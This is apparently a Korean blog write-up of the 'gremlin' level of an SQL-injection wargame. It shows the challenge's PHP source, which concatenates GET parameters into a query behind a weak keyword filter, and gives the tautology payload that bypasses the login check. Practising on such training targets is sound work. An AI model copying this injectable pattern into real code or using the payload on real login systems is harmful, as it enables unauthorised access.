본문 바로가기
[웹해킹]/[LOS]

[LOS] GREMLIN

by Hevton 2020. 12. 9.
반응형

문제 소스

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

주석처리인 -- 와 #이 안먹힌다. 쓰이는 모든 따옴표를 버리지 않고 사용해줘야겠다.

 

페이로드

id=gremlin&pw=123%27%20or%20%271%27=%271

->

query : select id from prob_gremlin where id='gremlin' and pw='123' or '1'='1'

 

클리어

 

반응형

'[웹해킹] > [LOS]' 카테고리의 다른 글

[LOS] DARKELF  (0) 2020.12.13
[LOS] WOLFMAN  (0) 2020.12.12
[LOS] ORC  (0) 2020.12.11
[LOS] GOBLIN  (0) 2020.12.11
[LOS] COBOLT  (0) 2020.12.10